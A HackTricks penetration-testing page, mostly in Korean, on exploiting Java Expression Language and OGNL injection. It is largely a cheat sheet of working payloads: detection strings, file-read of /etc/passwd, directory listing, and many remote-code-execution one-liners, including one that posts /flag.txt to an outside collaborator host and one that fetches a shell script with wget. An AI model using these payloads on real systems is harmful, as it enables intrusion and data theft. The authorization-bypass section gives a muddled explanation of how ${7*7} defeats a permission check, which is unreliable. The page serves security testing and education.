hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
2024-02-10 21:30:13 +00:00

19 KiB

EL - 표현 언어

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

기본 정보

표현 언어 (EL)은 프레젠테이션 레이어 (예: 웹 페이지)와 애플리케이션 로직 (예: 관리되는 빈)을 연결하여 상호 작용할 수 있도록하는 JavaEE의 핵심 요소입니다. 주로 다음과 같은 곳에서 사용됩니다.

  • JavaServer Faces (JSF): UI 구성 요소를 백엔드 데이터/동작에 바인딩하기 위해 사용됩니다.
  • JavaServer Pages (JSP): JSP 페이지 내에서 데이터 액세스 및 조작에 사용됩니다.
  • Contexts and Dependency Injection for Java EE (CDI): 웹 레이어와 관리되는 빈 간의 상호 작용을 용이하게하기 위해 사용됩니다.

사용되는 맥락:

  • Spring Framework: 보안 및 데이터와 같은 다양한 모듈에서 사용됩니다.
  • 일반적인 사용: Java, Kotlin, Scala와 같은 JVM 기반 언어의 개발자에 의해 SpEL API를 통해 사용됩니다.

EL은 JavaEE 기술, 독립 실행 환경에서 사용되며 .jsp 또는 .jsf 파일 확장명, 스택 오류 및 "Servlet"과 같은 용어를 통해 인식할 수 있습니다. 그러나 기능 및 특정 문자의 사용은 버전에 따라 다를 수 있습니다.

{% hint style="info" %} EL 버전에 따라 일부 기능On 또는 Off 상태일 수 있으며 일반적으로 일부 문자허용되지 않을 수 있습니다. {% endhint %}

기본 예제

(EL에 대한 또 다른 흥미로운 튜토리얼은 https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/에서 찾을 수 있습니다.)

Maven 저장소에서 다음 jar 파일을 다운로드하세요.

  • commons-lang3-3.9.jar
  • spring-core-5.2.1.RELEASE.jar
  • commons-logging-1.2.jar
  • spring-expression-5.2.1.RELEASE.jar

그리고 다음 Main.java 파일을 생성하세요.

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

다음으로 코드를 컴파일하세요 (javac이 설치되어 있지 않은 경우 sudo apt install default-jdk를 설치하세요):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

다음 명령어를 사용하여 애플리케이션을 실행하세요:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

이전 예제에서 용어 {5*5}평가되는 것을 확인하세요.

CVE 기반 튜토리얼

이 게시물에서 확인하세요: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

페이로드

기본 동작

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

탐지

  • Burp 탐지
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
  • J2EE 감지
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
  • 10초 동안 대기하기
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

원격 파일 포함 (Remote File Inclusion)

원격 파일 포함(Remote File Inclusion)은 웹 애플리케이션에서 발생하는 취약점 중 하나입니다. 이 취약점은 악의적인 사용자가 애플리케이션에 외부 파일을 포함시킬 수 있는 경우에 발생합니다. 이를 통해 공격자는 애플리케이션 서버에 악성 코드를 실행시킬 수 있습니다.

일반적으로, 원격 파일 포함 취약점은 애플리케이션에서 파일 경로를 사용자 입력으로 받아들이는 경우에 발생합니다. 공격자는 이 입력을 이용하여 악성 파일을 포함시키고, 이를 통해 서버의 제어권을 획득할 수 있습니다.

이 취약점을 이용한 공격은 다양한 형태로 이루어질 수 있습니다. 예를 들어, 공격자는 원격 서버에 위치한 악성 파일을 포함시키거나, 시스템 파일을 포함시켜 서버의 제어를 획득할 수 있습니다. 이를 통해 공격자는 서버에서 중요한 정보를 유출하거나, 애플리케이션을 완전히 제어할 수 있게 됩니다.

이러한 취약점을 방지하기 위해서는 사용자 입력을 신뢰할 수 없는 것으로 간주하고, 파일 경로를 동적으로 생성하는 대신 정적인 경로를 사용하는 것이 좋습니다. 또한, 파일 포함 시 보안 검사를 수행하여 악성 파일의 포함을 방지하는 것이 중요합니다.

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

디렉토리 목록

Directory listing is a feature provided by web servers that allows users to view the contents of a directory on a website. It can be useful for both legitimate users and attackers, as it provides information about the files and directories present on the server.

디렉토리 목록은 웹 서버에서 제공하는 기능으로, 사용자가 웹 사이트의 디렉토리 내용을 볼 수 있게 해줍니다. 이는 정상적인 사용자와 공격자 모두에게 유용한 정보를 제공하며, 서버에 있는 파일과 디렉토리에 대한 정보를 제공합니다.

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

  • 기본 RCE 설명
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
  • RCE 리눅스
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • RCE Windows (테스트되지 않음)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • 더 많은 원격 코드 실행(RCE)
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

환경 검사

  • applicationScope - 전역 애플리케이션 변수
  • requestScope - 요청 변수
  • initParam - 애플리케이션 초기화 변수
  • sessionScope - 세션 변수
  • param.X - X가 http 매개변수의 이름인 매개변수 값

이 변수들을 String으로 캐스트해야 합니다. 예시:

${sessionScope.toString()}

권한 우회 예제

Consider a scenario where a web application uses server-side template injection (SSTI) with the Expression Language (EL) syntax. The application may have implemented authorization checks to restrict access to certain pages or functionalities based on user roles or permissions. However, if the SSTI vulnerability exists, an attacker can bypass these authorization checks and gain unauthorized access.

Let's take a look at an example to understand how this can be done:

public class UserController {
    // ...
    public String getUserProfile(HttpServletRequest request) {
        // ...
        String userId = request.getParameter("userId");
        User user = userService.getUserById(userId);
        
        // Check if the user has permission to view the profile
        if (user != null && user.hasPermission("viewProfile")) {
            return "userProfile";
        } else {
            return "accessDenied";
        }
    }
    // ...
}

In the above code snippet, the getUserProfile method retrieves the userId parameter from the request and fetches the corresponding user from the database. It then checks if the user has the permission to view the profile. If the permission is granted, it returns the userProfile page; otherwise, it returns the accessDenied page.

Now, let's assume that the web application is vulnerable to SSTI and the userId parameter is not properly validated or sanitized before being used in the template. An attacker can exploit this vulnerability by injecting an EL expression to bypass the authorization check.

For example, the attacker can craft a malicious request with the following userId parameter:

userId=${7*7}

When this request is processed, the EL expression ${7*7} will be evaluated by the server-side template engine, resulting in the value 49. As a result, the authorization check user.hasPermission("viewProfile") will evaluate to true, allowing the attacker to access the userProfile page even if they don't have the required permission.

This is just a simplified example to illustrate the concept of authorization bypass through SSTI. In real-world scenarios, the exploitation of SSTI vulnerabilities can be more complex and may require a deeper understanding of the target application's code and template engine.

${pageContext.request.getSession().setAttribute("admin", true)}

응용 프로그램은 사용자 정의 변수도 사용할 수 있습니다. 예를 들어:

${user}
${password}
${employee.FirstName}

WAF 우회

https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/을 확인하세요.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!